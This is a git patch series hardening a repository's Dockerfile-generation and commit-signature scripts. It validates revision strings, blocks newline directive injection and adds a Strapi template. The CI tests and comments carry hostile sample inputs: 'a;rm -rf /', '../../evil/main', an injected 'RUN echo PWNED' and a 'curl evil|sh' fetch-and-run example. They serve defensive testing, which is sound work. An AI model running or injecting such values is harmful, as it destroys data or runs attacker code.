From 8333a86439d8a300ab1b25088e1a9db9b8f28191 Mon Sep 17 00:00:00 2001 From: Chiro Hiro Date: Thu, 4 Jun 2026 19:37:07 +0800 Subject: [PATCH 1/5] fix: harden trust scripts and Dockerfile generation from audit findings - Validate BASE_REVISION in check-gpg.sh, check-ssh.sh and dockerfile.sh (reject shell metacharacters and '..' path traversal) before it is interpolated into any fetch URL or any destructive setup runs. curl normalizes '../', so an unvalidated value could repoint fetches at an arbitrary repo/path. - dockerfile.sh: reject newlines/CR in user-supplied -c/-f/-b/-r/--run values, closing a Dockerfile directive-injection vector; reject -f values with more than one ';' (the credential guard and the COPY generator parsed them differently). - check-ssh.sh: fail closed if any ssh-allowed-signers line cannot be parsed into a fingerprint, instead of silently building a narrower allowlist. - Dockerfile.template: pre-create /home/ before chown so the nginx template builds (nginx:stable-alpine ships no /home/nginx). nginx still runs non-root on :80, which requires the host to allow unprivileged low ports (net.ipv4.ip_unprivileged_port_start=0); documented inline. - generate-yarn-npm.sh: add an explicit warning that it writes a plaintext token for ephemeral runners only and must not be used inside a docker build layer (use dockerfile.sh's BuildKit secret mount instead). - CI: pin ludeeus/action-shellcheck to a commit SHA instead of @master; add regression tests for injection / ambiguous-path / BASE_REVISION rejection. - docker-compose.yaml: drop the obsolete top-level version key. - README.md: document the next template and correct the default command to ["npm", "start"]. Refresh checksum.sha256 for the changed scripts. --- .github/workflows/lint-and-test.yml | 21 ++++++++++++++++- CHANGELOG.md | 27 ++++++++++++++++++++++ Dockerfile.template | 6 +++-- README.md | 7 +++--- SECURITY.md | 5 ++++- check-gpg.sh | 8 +++++++ check-ssh.sh | 19 ++++++++++++++++ checksum.sha256 | 10 ++++----- docker-compose.yaml | 2 -- dockerfile.sh | 35 +++++++++++++++++++++++++++++ generate-yarn-npm.sh | 19 +++++++++++++--- 11 files changed, 142 insertions(+), 17 deletions(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 4b8f1d8..d655a07 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -19,7 +19,9 @@ jobs: - uses: actions/checkout@v4 - name: shellcheck - uses: ludeeus/action-shellcheck@master + # Pinned to a commit SHA (not @master): a root-of-trust repo should not + # run a third-party action from a moving branch. 00cae50 == tag 2.0.0. + uses: ludeeus/action-shellcheck@00cae500b08a931fb5698e11e79bfbd38e612a38 # 2.0.0 env: SHELLCHECK_OPTS: -e SC1091 with: @@ -85,6 +87,23 @@ jobs: ! ./dockerfile.sh -t node -f "README.md;.npmrc" --dry-run 2>/dev/null echo "All invalid inputs correctly rejected" + - name: Reject directive injection, ambiguous paths, and bad BASE_REVISION + run: | + set -euo pipefail + nl="$(printf '\nRUN echo PWNED')" + # Newlines in user values must not be able to inject Dockerfile directives. + ! ./dockerfile.sh -t node -f "build${nl}" -b true --dry-run 2>/dev/null + ! ./dockerfile.sh -t node -f package.json -c "[\"x\"]${nl}" -b true --dry-run 2>/dev/null + ! ./dockerfile.sh -t node -f package.json --run "echo hi${nl}" -b true --dry-run 2>/dev/null + # More than one ';' in -f is ambiguous (guard vs COPY would disagree). + ! ./dockerfile.sh -t node -f 'a;b;c' -b true --dry-run 2>/dev/null + # BASE_REVISION must reject path traversal and shell metacharacters. + ! BASE_REVISION='../../evil/main' ./dockerfile.sh -t node -f package.json -b true --dry-run 2>/dev/null + ! BASE_REVISION='a;rm -rf /' ./dockerfile.sh -t node -f package.json -b true --dry-run 2>/dev/null + # A valid SHA-style revision is still accepted. + BASE_REVISION='db70372fd4ecbc111cb195ebe249809d8f0768a3' ./dockerfile.sh -t node -f package.json -b true --dry-run >/dev/null + echo "Injection / ambiguous-path / bad-revision inputs correctly rejected" + builder-secret-no-leak: name: Build secret does not persist in builder layer runs-on: ubuntu-latest diff --git a/CHANGELOG.md b/CHANGELOG.md index aa4753f..666b28c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -31,6 +31,24 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). from version control with a committed `.env.example`; added `.gitignore` and a `.dockerignore.example`; parameterized RabbitMQ credentials in `docker-compose.yaml`. +- **`BASE_REVISION` is validated before use:** `check-gpg.sh`, `check-ssh.sh`, and + `dockerfile.sh` now reject a `BASE_REVISION` containing shell metacharacters or + a `..` path-traversal sequence (curl normalizes `../`) before it is interpolated + into any fetch URL or any destructive setup runs. Only a commit SHA, tag, or + branch name is accepted. +- **`dockerfile.sh` directive-injection hardening:** user-supplied values + (`-c`, `-f`, `-b`, `-r`, `--run`) are rejected if they contain a newline or + carriage return, so a value like `$'build\nRUN …'` can no longer inject extra + Dockerfile directives. A `-f` value with more than one `;` is also rejected + (the credential guard and the COPY generator parsed it differently). +- **`check-ssh.sh` fails closed on unparseable signers:** if any + `ssh-allowed-signers` line fails to produce a fingerprint it now errors instead + of silently building a narrower allowlist. +- **`generate-yarn-npm.sh` carries an explicit do-not-use-in-`docker build` + warning** (it writes a plaintext token for ephemeral runners only; image builds + must use `dockerfile.sh`'s BuildKit secret mount). +- **CI shellcheck action pinned to a commit SHA** (`ludeeus/action-shellcheck`) + instead of a moving `@master` branch. ### Added - `generate-checksums.sh` — single source of truth for `checksum.sha256`; @@ -47,3 +65,12 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). (pure static sites no longer fail the build). - `dockerfile.sh` no longer advertises the unimplemented `rust` template as selectable; invalid/unknown templates and arguments now fail fast. +- **nginx template build no longer aborts:** the runner stage pre-creates + `/home/` before `chown`, so the `nginx` template (whose base image + ships no `/home/nginx`) builds successfully. nginx still runs non-root and + listens on `:80`, which requires the host to allow unprivileged low ports + (`net.ipv4.ip_unprivileged_port_start=0`, the Docker Desktop default). +- `docker-compose.yaml`: removed the obsolete top-level `version` key (ignored by + Compose v2). +- `README.md`: documents the `next` template and corrects the default command to + `["npm", "start"]`. diff --git a/Dockerfile.template b/Dockerfile.template index 8d1a8fb..69132aa 100644 --- a/Dockerfile.template +++ b/Dockerfile.template @@ -29,8 +29,10 @@ FROM {{runner_base_image}} AS runner ARG RUNNER_WORKDIR={{runner_workdir}} {{extra_env}} -# Make app folder for application -RUN mkdir -p ${RUNNER_WORKDIR} && \ +# Make app folder for application. Create the user's home too: some runner base +# images (e.g. nginx:stable-alpine) ship the runtime user without a /home dir, so +# an unconditional `chown -R /home/` would fail and abort the build. +RUN mkdir -p ${RUNNER_WORKDIR} /home/{{runner_user}} && \ chown -R {{runner_user}}:{{runner_group}} ${RUNNER_WORKDIR} && \ chown -R {{runner_user}} /home/{{runner_user}} && \ chmod -R 750 ${RUNNER_WORKDIR} diff --git a/README.md b/README.md index 783fe0e..d849c49 100644 --- a/README.md +++ b/README.md @@ -20,11 +20,12 @@ All repo must include `./scripts/build-prod.sh`, this will be used to build for ### Node.js Application -- `-t | --template`: Template to use, now we support `node` and `nginx` +- `-t | --template`: Template to use, now we support `node`, `next` and `nginx` - `node`: Using for Node.js application - - `nginx`: Using for React.js application or startic website + - `next`: Using for Next.js application + - `nginx`: Using for React.js application or static website - `-f | --file`: Selected file to copy -- `-c | --command`: Command to be executed default to `["yarn", "start"]` +- `-c | --command`: Command to be executed, default to `["npm", "start"]` ```bash curl -sL https://raw.githubusercontent.com/orochi-network/dev-off/main/dockerfile.sh | bash -- -t node -f package.json -f node_modules -f build -c "[\"yarn\", \"start\"]" diff --git a/SECURITY.md b/SECURITY.md index f023950..46cfbc6 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -38,7 +38,10 @@ Treat changes to this repository with the same care as production secrets. 3. **Consumers should pin `BASE_REVISION` to a commit SHA or release tag**, not `main`. Every script accepts `BASE_REVISION`; the `actions` composite actions expose it as the `base_revision` input. Pinning converts "track a moving - branch" into "run a reviewed, tested release." + branch" into "run a reviewed, tested release." The scripts validate the value + before interpolating it into any fetch URL — only a commit SHA, tag, or branch + name is accepted, and `..` / shell metacharacters are rejected (a malicious + `BASE_REVISION` could otherwise repoint `curl` at an arbitrary repo/path). ## Required GitHub settings (must be enabled on `main`) diff --git a/check-gpg.sh b/check-gpg.sh index 3941f05..673b175 100755 --- a/check-gpg.sh +++ b/check-gpg.sh @@ -5,6 +5,14 @@ set -euo pipefail # If base revision was set, we are going to use given revision # BASE_REVISION="db70372fd4ecbc111cb195ebe249809d8f0768a3" curl -sL https://... BASE_REVISION="${BASE_REVISION:-main}" +# Validate BASE_REVISION before it is interpolated into any fetch URL and before +# any destructive setup runs. Accept only a git commit SHA, tag, or branch name; +# reject shell metacharacters and any '..' sequence (curl normalizes '../' in URL +# paths and could be repointed at an arbitrary repo/path). See SECURITY.md. +if [[ ! "$BASE_REVISION" =~ ^[A-Za-z0-9][A-Za-z0-9._/-]*$ || "$BASE_REVISION" == *..* ]]; then + echo "Error: invalid BASE_REVISION '${BASE_REVISION}'. Use a commit SHA, tag, or branch name (chars [A-Za-z0-9._/-], no '..')." >&2 + exit 1 +fi BASE_URL="https://raw.githubusercontent.com/orochi-network/dev-off/${BASE_REVISION}" # Log the revision we are trusting (forensics: pin this to a commit SHA in CI). diff --git a/check-ssh.sh b/check-ssh.sh index bf629c5..25058ec 100755 --- a/check-ssh.sh +++ b/check-ssh.sh @@ -5,6 +5,14 @@ set -euo pipefail # If base revision was set, we are going to use given revision # BASE_REVISION="db70372fd4ecbc111cb195ebe249809d8f0768a3" curl -sL https://... BASE_REVISION="${BASE_REVISION:-main}" +# Validate BASE_REVISION before it is interpolated into any fetch URL and before +# any destructive setup runs. Accept only a git commit SHA, tag, or branch name; +# reject shell metacharacters and any '..' sequence (curl normalizes '../' in URL +# paths and could be repointed at an arbitrary repo/path). See SECURITY.md. +if [[ ! "$BASE_REVISION" =~ ^[A-Za-z0-9][A-Za-z0-9._/-]*$ || "$BASE_REVISION" == *..* ]]; then + echo "Error: invalid BASE_REVISION '${BASE_REVISION}'. Use a commit SHA, tag, or branch name (chars [A-Za-z0-9._/-], no '..')." >&2 + exit 1 +fi BASE_URL="https://raw.githubusercontent.com/orochi-network/dev-off/${BASE_REVISION}" # Log the revision we are trusting (forensics: pin this to a commit SHA in CI). @@ -28,6 +36,17 @@ grep -v '^#' ssh-allowed-signers | grep -v '^$' | while read -r line; do echo "$line" | awk '{print $2, $3}' | ssh-keygen -lf /dev/stdin 2>/dev/null done | awk '{print $2}' > .allowed-ssh-fingerprints.txt +# Fail closed if any signer line failed to parse. ssh-keygen errors above are +# swallowed (2>/dev/null), so a malformed entry would be silently dropped and the +# allowlist would be quietly narrower than the committed signer file — a legit +# signer could vanish without warning. Require one fingerprint per signer line. +expected_signers=$(grep -v '^#' ssh-allowed-signers | grep -c '[^[:space:]]' || true) +got_fingerprints=$(grep -c '[^[:space:]]' .allowed-ssh-fingerprints.txt || true) +if [[ "$expected_signers" -eq 0 || "$expected_signers" -ne "$got_fingerprints" ]]; then + echo "ERROR: parsed $got_fingerprints of $expected_signers ssh-allowed-signers entries — refusing to continue with an incomplete fingerprint allowlist." >&2 + exit 1 +fi + # Configure git to use SSH signature verification git config --global gpg.format ssh git config --global gpg.ssh.allowedSignersFile "$(pwd)/ssh-allowed-signers" diff --git a/checksum.sha256 b/checksum.sha256 index 9c4990f..9c0d250 100644 --- a/checksum.sha256 +++ b/checksum.sha256 @@ -1,11 +1,11 @@ -01bd313aa7a50bb9993a462e6c540e803771c56a083b6c7c0545e5f33617b5e5 ./check-ssh.sh +3a573ef0ebfbbb8fadffd6236ba50e7e49dc61677c6e321694a7df3794b7f690 ./check-ssh.sh 48f2d49fab1d7c52f6930bfb239874f1e61479210ceb260d0e2dd9a54c2877e6 ./gpg-list.asc 5b7f96cd62b02c59adb90159877bd61230c3d95eca3e19a1c4e5dfb4140a986c ./scripts/build-prod-next.sh +5b8593f2c75d1c1403f66307974582261920f106acc05c89777541edcddaef1d ./check-gpg.sh 73d342c47d7a883c74fab489dda45718940343b95e21afd2649383b05c483415 ./ssh-allowed-signers -90ce4c5d804943369289ed6d3033cb711984d3c113426ccff891b290d30689a2 ./check-gpg.sh -9b4aa9f7d26145ba1af99e4ad21cd495eb272d0f39004f245fa939f08dd5d2ef ./dockerfile.sh +9dbf9d726d881c43729954f9a29777c0e17d84755c9c32c2fc72a0df39f335cb ./Dockerfile.template aad9d75f80076441f3164f81fb9fca4f4d55ec3c021129cad29633d89b24170d ./scripts/build-prod-nginx.sh -b71e79b66d6a431fc0510d1f8146afbd847d6953b2d0d5314ffde2e868ea8cdc ./generate-yarn-npm.sh +c35b865dbaabe38f340db33778cb45639e0764df5c72462fa4d6aee64f5eddc2 ./dockerfile.sh ece9b5c612ffff561d0a3b0a5fc7a28ef477ccf13e79da3fdc5460c96eced306 ./scripts/build-prod-node.sh -ed81728a80fb032e177c986b97b762fa7a01f82be71caab9a5f7576dc7bc6755 ./Dockerfile.template f15c4e8e374105e07ab7de3cf94e3ec6aaccd02a76ca9907368782612bc7e50f ./configs/nginx.conf +fcf790d01c0ccde52a74a4fa49df33ba9a0f6210868dfa7895048a58bd613710 ./generate-yarn-npm.sh diff --git a/docker-compose.yaml b/docker-compose.yaml index 00be0a8..c5d3aad 100644 --- a/docker-compose.yaml +++ b/docker-compose.yaml @@ -1,5 +1,3 @@ -version: "3.9" - services: postgres: image: postgres:18 diff --git a/dockerfile.sh b/dockerfile.sh index 51dcbf3..2a0c628 100755 --- a/dockerfile.sh +++ b/dockerfile.sh @@ -5,6 +5,14 @@ set -euo pipefail # If base revision was set, we are going to use given revision # BASE_REVISION="db70372fd4ecbc111cb195ebe249809d8f0768a3" curl -sL https://... BASE_REVISION="${BASE_REVISION:-main}" +# Validate BASE_REVISION before it is interpolated into any fetch URL. Accept only +# a git commit SHA, tag, or branch name; reject shell metacharacters and any '..' +# sequence (curl normalizes '../' in URL paths and could be repointed at an +# arbitrary repo/path). See SECURITY.md. +if [[ ! "$BASE_REVISION" =~ ^[A-Za-z0-9][A-Za-z0-9._/-]*$ || "$BASE_REVISION" == *..* ]]; then + echo "Error: invalid BASE_REVISION '${BASE_REVISION}'. Use a commit SHA, tag, or branch name (chars [A-Za-z0-9._/-], no '..')." >&2 + exit 1 +fi BASE_URL="https://raw.githubusercontent.com/orochi-network/dev-off/${BASE_REVISION}" # ============================================================================ @@ -191,6 +199,21 @@ if [[ "$TEMPLATE_OK" != true ]]; then exit 1 fi +# Reject control characters in any user-supplied value. Without this, a value +# such as $'build\nRUN curl evil|sh' would inject extra directives into the +# generated Dockerfile: the perl/$ENV{...} pass and the line-oriented emitters +# (generate_copy_instructions, generate_runner_commands) treat an embedded +# newline as the start of a new Dockerfile line. See SECURITY.md. +contains_control_char() { [[ "$1" == *$'\n'* || "$1" == *$'\r'* ]]; } +for v in "$DOCKER_COMMAND" "$BUILD_COMMAND" "$RUNNER_IMAGE" "$ENV_FILE" \ + "${DOCKER_FILE[@]+"${DOCKER_FILE[@]}"}" \ + "${RUNNER_COMMANDS[@]+"${RUNNER_COMMANDS[@]}"}"; do + if contains_control_char "$v"; then + echo "Error: argument values may not contain newlines or carriage returns." >&2 + exit 1 + fi +done + # Refuse to copy credential files into any image layer (defense-in-depth against # leaking npm/registry tokens from the builder into the runner image). Both the # source and the destination name are checked, case-insensitively, so neither @@ -202,6 +225,14 @@ is_credential_name() { esac } for item in "${DOCKER_FILE[@]+"${DOCKER_FILE[@]}"}"; do + # At most one ';' may separate src from dst. More than one is ambiguous: this + # guard reads dst as the last field while the COPY generator reads it as the + # second field, so they would disagree on what is being copied. Reject it. + semicolons="${item//[^;]/}" + if [[ "${#semicolons}" -gt 1 ]]; then + echo "Error: -f value '${item}' contains more than one ';' (use 'src' or 'src;dst')." >&2 + exit 1 + fi src="${item%%;*}" dst="${item##*;}" # equals src when there is no ';' for name in "$src" "$dst"; do @@ -239,6 +270,10 @@ nginx) RUNNER_WORKDIR="/usr/share/nginx/html" DOCKER_COMMAND="[\"nginx\", \"-g\", \"daemon off;\"]" EXPOSE_PORT=$'\nEXPOSE 80' + # NOTE: nginx runs as the non-root 'nginx' user (USER nginx). Binding :80 then + # requires the host kernel to allow it (net.ipv4.ip_unprivileged_port_start=0, + # the default on Docker Desktop). On a stock-kernel Linux host (threshold 1024) + # a non-root master cannot bind :80; switch this and configs/nginx.conf to 8080. # Fix permissions for non-root nginx: create cache dirs, relocate pid, disable 'user' directive RUNNER_COMMANDS+=("mkdir -p /var/cache/nginx/client_temp /var/cache/nginx/proxy_temp /var/cache/nginx/fastcgi_temp /var/cache/nginx/uwsgi_temp /var/cache/nginx/scgi_temp && chown -R nginx:nginx /var/cache/nginx && sed -i 's|^user nginx;|# user nginx;|' /etc/nginx/nginx.conf && sed -i 's|pid */run/nginx.pid;|pid /tmp/nginx.pid;|' /etc/nginx/nginx.conf") # For nginx, if no files specified, use default build directory diff --git a/generate-yarn-npm.sh b/generate-yarn-npm.sh index fb8083b..3891805 100755 --- a/generate-yarn-npm.sh +++ b/generate-yarn-npm.sh @@ -1,9 +1,22 @@ #!/usr/bin/env bash set -euo pipefail -# Write credential files with owner-only permissions (0600). This script's whole -# purpose is to leave .npmrc/.yarnrc.yml on disk for a subsequent build step, so -# we deliberately do NOT delete them here — but we do restrict their permissions. +# ============================================================================ +# SECURITY — read before use +# +# This script writes a registry auth token in PLAINTEXT to .npmrc/.yarnrc.yml and +# deliberately leaves them on disk for a subsequent build step. It is intended +# ONLY for ephemeral CI runners (the `orochi-network/actions` `configure-auth` +# step), where the runner — and these files — are destroyed after the job. +# +# Do NOT call this inside a `docker build` / Dockerfile `RUN`: the token would +# persist in an image layer. For image builds use dockerfile.sh, which mounts the +# token as a BuildKit secret and writes+uses+deletes the credentials inside a +# single RUN so it never lands in a layer. See SECURITY.md ("Build-time +# credentials"). +# ============================================================================ + +# Write credential files with owner-only permissions (umask 077 → 0600). umask 077 # Default values From 0b4c48c54692477ec6851fb941d88c7a08688245 Mon Sep 17 00:00:00 2001 From: Chiro Hiro Date: Thu, 4 Jun 2026 22:36:14 +0800 Subject: [PATCH 2/5] harden: empty-signer-key guard and shell-agnostic .yarnrc.yml writes Two low-severity defense-in-depth follow-ups from the audit: - check-gpg.sh / check-ssh.sh: reject an empty signer key id / fingerprint before the `grep -Fxq` allowlist membership check. `grep -Fxq ""` matches a blank line, so an empty value combined with a stray blank line in the allowlist could otherwise pass. Not reachable today (the SIG=="G" gate implies a real key) but cheap to close. - dockerfile.sh: write the multi-line .yarnrc.yml in the generated build RUN with `printf` instead of `echo "...\n..."`. POSIX printf interprets `\n` in every shell, so the generated Dockerfile no longer depends on the builder's /bin/sh being dash. Verified the writes produce identical valid YAML under both sh and bash; the build still succeeds and the token still does not persist in any builder layer. Refreshed checksum.sha256 for the three changed scripts. --- CHANGELOG.md | 7 +++++++ check-gpg.sh | 7 +++++++ check-ssh.sh | 7 +++++++ checksum.sha256 | 6 +++--- dockerfile.sh | 11 ++++++----- 5 files changed, 30 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 666b28c..6797c34 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -49,6 +49,13 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). must use `dockerfile.sh`'s BuildKit secret mount). - **CI shellcheck action pinned to a commit SHA** (`ludeeus/action-shellcheck`) instead of a moving `@master` branch. +- **Empty signer-key guard:** `check-gpg.sh` / `check-ssh.sh` reject an empty key + id / fingerprint before the `grep -Fxq` allowlist check, so an empty value can + never match a blank line in the allowlist (defense-in-depth). +- **Generated `.yarnrc.yml` is written with `printf`, not `echo "…\n…"`:** the + multi-line credential file is now produced shell-agnostically (POSIX `printf` + interprets `\n` in every shell) instead of relying on the builder's `/bin/sh` + being dash. ### Added - `generate-checksums.sh` — single source of truth for `checksum.sha256`; diff --git a/check-gpg.sh b/check-gpg.sh index 673b175..f87062b 100755 --- a/check-gpg.sh +++ b/check-gpg.sh @@ -77,6 +77,13 @@ for COMMIT in $COMMITS; do exit 1 fi + # Defense-in-depth: an empty key id would match a blank line in the allowlist + # via `grep -Fxq ""`. Reject it before the membership check. + if [[ -z "$KEY" ]]; then + echo "Empty signer key id for commit $COMMIT" >&2 + exit 1 + fi + # Key must be in central allowlist if ! grep -Fxq "$KEY" .allowed-keyids.txt; then echo "Signer key $KEY not in allowlist" diff --git a/check-ssh.sh b/check-ssh.sh index 25058ec..cf023c4 100755 --- a/check-ssh.sh +++ b/check-ssh.sh @@ -86,6 +86,13 @@ for COMMIT in $COMMITS; do exit 1 fi + # Defense-in-depth: an empty fingerprint would match a blank line in the + # allowlist via `grep -Fxq ""`. Reject it before the membership check. + if [[ -z "$KEY" ]]; then + echo "Empty signer fingerprint for commit $COMMIT" >&2 + exit 1 + fi + # Key fingerprint must be in central allowlist if ! grep -Fxq "$KEY" .allowed-ssh-fingerprints.txt; then echo "Signer key $KEY not in allowlist" diff --git a/checksum.sha256 b/checksum.sha256 index 9c0d250..cc8496a 100644 --- a/checksum.sha256 +++ b/checksum.sha256 @@ -1,11 +1,11 @@ -3a573ef0ebfbbb8fadffd6236ba50e7e49dc61677c6e321694a7df3794b7f690 ./check-ssh.sh 48f2d49fab1d7c52f6930bfb239874f1e61479210ceb260d0e2dd9a54c2877e6 ./gpg-list.asc 5b7f96cd62b02c59adb90159877bd61230c3d95eca3e19a1c4e5dfb4140a986c ./scripts/build-prod-next.sh -5b8593f2c75d1c1403f66307974582261920f106acc05c89777541edcddaef1d ./check-gpg.sh 73d342c47d7a883c74fab489dda45718940343b95e21afd2649383b05c483415 ./ssh-allowed-signers +7579650b53d1680b668de0db9c3c4eb4b7cb3f6a8c314164406a876f1c2cdedd ./dockerfile.sh +8334d814926b6f9368315606199db972f320d98bc997833eaabd5864fdad3a90 ./check-ssh.sh 9dbf9d726d881c43729954f9a29777c0e17d84755c9c32c2fc72a0df39f335cb ./Dockerfile.template aad9d75f80076441f3164f81fb9fca4f4d55ec3c021129cad29633d89b24170d ./scripts/build-prod-nginx.sh -c35b865dbaabe38f340db33778cb45639e0764df5c72462fa4d6aee64f5eddc2 ./dockerfile.sh +d1ab36d76bf4b3b4fb1d39a3daa02d679358fba2f884c61f5d64e9c764236edb ./check-gpg.sh ece9b5c612ffff561d0a3b0a5fc7a28ef477ccf13e79da3fdc5460c96eced306 ./scripts/build-prod-node.sh f15c4e8e374105e07ab7de3cf94e3ec6aaccd02a76ca9907368782612bc7e50f ./configs/nginx.conf fcf790d01c0ccde52a74a4fa49df33ba9a0f6210868dfa7895048a58bd613710 ./generate-yarn-npm.sh diff --git a/dockerfile.sh b/dockerfile.sh index 2a0c628..2f75675 100755 --- a/dockerfile.sh +++ b/dockerfile.sh @@ -350,19 +350,20 @@ generate_build_command() { # lets the non-root builder user read the mounted secret. If the build fails, # `set -e` aborts the RUN (no layer is committed → still no leak). # Emit the Dockerfile lines with printf '%s\n' so the literal \n / \" escape - # sequences pass through verbatim (the builder's /bin/sh dash echo interprets - # them at image-build time, matching the original template). + # sequences pass through verbatim to the generated Dockerfile. Multi-line + # .yarnrc.yml writes use `printf` at build time (POSIX printf interprets \n in + # every shell), not `echo` (whose \n handling depends on the builder's /bin/sh). local h="/home/${BUILDER_USER}" printf '%s\n' "# Build with npm auth mounted as a secret (token never persists in a layer)" printf '%s\n' "RUN --mount=type=secret,id=npm_access_token,mode=0444 set -eu && \\" printf '%s\n' " NPM_ACCESS_TOKEN=\$(cat /run/secrets/npm_access_token) && \\" printf '%s\n' " echo \"//registry.npmjs.org/:_authToken=\$NPM_ACCESS_TOKEN\" > ${h}/.npmrc && \\" - printf '%s\n' " echo \"enableTelemetry: false\\nnodeLinker: node-modules\\nnpmScopes:\" > ${h}/.yarnrc.yml && \\" + printf '%s\n' " printf 'enableTelemetry: false\\nnodeLinker: node-modules\\nnpmScopes:\\n' > ${h}/.yarnrc.yml && \\" printf '%s\n' " echo \" orochi-network:\" >> ${h}/.yarnrc.yml && \\" - printf '%s\n' " echo \" npmRegistryServer: \\\"https://registry.npmjs.org\\\"\\n npmAlwaysAuth: true\" >> ${h}/.yarnrc.yml && \\" + printf '%s\n' " printf ' npmRegistryServer: \"https://registry.npmjs.org\"\\n npmAlwaysAuth: true\\n' >> ${h}/.yarnrc.yml && \\" printf '%s\n' " echo \" npmAuthToken: \$NPM_ACCESS_TOKEN\" >> ${h}/.yarnrc.yml && \\" printf '%s\n' " echo \" zkdb:\" >> ${h}/.yarnrc.yml && \\" - printf '%s\n' " echo \" npmRegistryServer: \\\"https://registry.npmjs.org\\\"\\n npmAlwaysAuth: true\" >> ${h}/.yarnrc.yml && \\" + printf '%s\n' " printf ' npmRegistryServer: \"https://registry.npmjs.org\"\\n npmAlwaysAuth: true\\n' >> ${h}/.yarnrc.yml && \\" printf '%s\n' " echo \" npmAuthToken: \$NPM_ACCESS_TOKEN\" >> ${h}/.yarnrc.yml && \\" printf '%s\n' " { ${inner} ; } && \\" printf '%s\n' " rm -f ${h}/.npmrc ${h}/.yarnrc.yml" From 6b2f6ec1e6073d9defd44dec0c3672a7157266ca Mon Sep 17 00:00:00 2001 From: Chiro Hiro Date: Fri, 5 Jun 2026 14:27:00 +0700 Subject: [PATCH 3/5] feat(template): add first-class strapi template MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a `strapi` template to dockerfile.sh for building Strapi headless CMS apps, modeled on the existing node template. - Builder: orochinetwork/ubuntu:node (corepack enabled for Yarn 4 berry). - Runner DEFAULT: node:22-trixie-slim. glibc is required — Strapi's native sharp/libvips are built against glibc and break at runtime on Alpine/musl. A -r/RUNNER_IMAGE override is still honored. - NODE_ENV=production, EXPOSE 1337, CMD ["npm","run","start"]. - Default runtime copy set (overridable via -f): config src database public types dist .strapi tsconfig.json package.json node_modules favicon.png. tsconfig.json is load-bearing (Strapi reads outDir to locate dist/). - scripts/build-prod-strapi.sh: immutable install + yarn build (strapi build: admin panel + server -> dist). Intentionally does not write src/version.ts. - Register strapi in SUPPORTED_TEMPLATES; cover the new script in checksum.sha256; document it in DOCKERFILE.md/README.md/CHANGELOG.md; and add it to the CI dry-run smoke matrix with a runtime-contract assertion. --- .github/workflows/lint-and-test.yml | 20 ++++++++- CHANGELOG.md | 22 ++++++++- DOCKERFILE.md | 69 ++++++++++++++++++++++++++--- README.md | 3 +- checksum.sha256 | 3 +- dockerfile.sh | 33 ++++++++++++-- generate-checksums.sh | 1 + scripts/build-prod-strapi.sh | 28 ++++++++++++ 8 files changed, 165 insertions(+), 14 deletions(-) create mode 100755 scripts/build-prod-strapi.sh diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index d655a07..a45e44e 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -67,7 +67,7 @@ jobs: - name: Generate for each template run: | set -euo pipefail - for t in node next nginx; do + for t in node next nginx strapi; do echo "--- template: $t ---" out="$(./dockerfile.sh -t "$t" -f package.json --dry-run)" echo "$out" @@ -76,6 +76,24 @@ jobs: echo "$out" | grep -q '^CMD ' || { echo "::error::$t: missing CMD"; exit 1; } done + - name: Strapi template carries its required runtime contract + run: | + set -euo pipefail + # Strapi MUST default to a glibc runner (sharp/libvips break on musl), + # enable corepack (Yarn 4 berry), run in production, and expose 1337. + out="$(./dockerfile.sh -t strapi -f package.json --dry-run)" + echo "$out" + echo "$out" | grep -q '^FROM orochinetwork/ubuntu:node AS builder' || { echo "::error::strapi: wrong builder image"; exit 1; } + echo "$out" | grep -q '^FROM node:22-trixie-slim AS runner' || { echo "::error::strapi: runner must default to glibc node:22-trixie-slim"; exit 1; } + echo "$out" | grep -q '^ENV NODE_ENV=production' || { echo "::error::strapi: missing NODE_ENV=production"; exit 1; } + echo "$out" | grep -q '^RUN corepack enable' || { echo "::error::strapi: missing corepack enable"; exit 1; } + echo "$out" | grep -q '^EXPOSE 1337' || { echo "::error::strapi: missing EXPOSE 1337"; exit 1; } + echo "$out" | grep -qF 'CMD ["npm", "run", "start"]' || { echo "::error::strapi: wrong CMD"; exit 1; } + # An -r override must still win over the glibc default. + ./dockerfile.sh -t strapi -r node:22-bookworm-slim -f package.json --dry-run \ + | grep -q '^FROM node:22-bookworm-slim AS runner' || { echo "::error::strapi: -r override not honored"; exit 1; } + echo "strapi template contract verified" + - name: Reject invalid template and unknown args run: | set -euo pipefail diff --git a/CHANGELOG.md b/CHANGELOG.md index 6797c34..e5b2675 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -58,6 +58,24 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/). being dash. ### Added +- **`strapi` template** (`dockerfile.sh` + `scripts/build-prod-strapi.sh`): builds a + Strapi headless CMS. Builder `orochinetwork/ubuntu:node`; runner defaults to the + glibc image **`node:22-trixie-slim`** (required — Strapi's native `sharp`/`libvips` + break on Alpine/musl), still overridable via `-r`/`RUNNER_IMAGE`. Enables + `corepack` (Yarn 4 berry), sets `NODE_ENV=production`, `EXPOSE 1337`, defaults + `CMD` to `["npm", "run", "start"]`, and copies a sensible runtime set + (`config src database public types dist .strapi tsconfig.json package.json + node_modules favicon.png`) when no `-f` is given. The build script runs + `yarn install --immutable && yarn build`; it intentionally does **not** write + `src/version.ts` (Strapi owns its `src/` tree). Covered by `checksum.sha256` and + exercised by the CI dry-run smoke matrix. +- **Trust roster reconciliation:** `generate-ssh-allowed-signers.sh`'s + `GITHUB_USERS` now mirrors the GPG allowlist (`gpg-list.asc` / `gpg/*.asc`). + Added the active orochi-network/dev-off contributors that already hold a GPG key: + `alothanhh`, `BaoNinh2808`, `brianw3b`, `CaoHoaiTan`, `harris1111`, + `hungnguyen18`, `ngotrongphuc`, `nguyendinhthang3101`, `SangTran-127`, + `ThanhNguyen03`, `wonrax`. No one was removed. 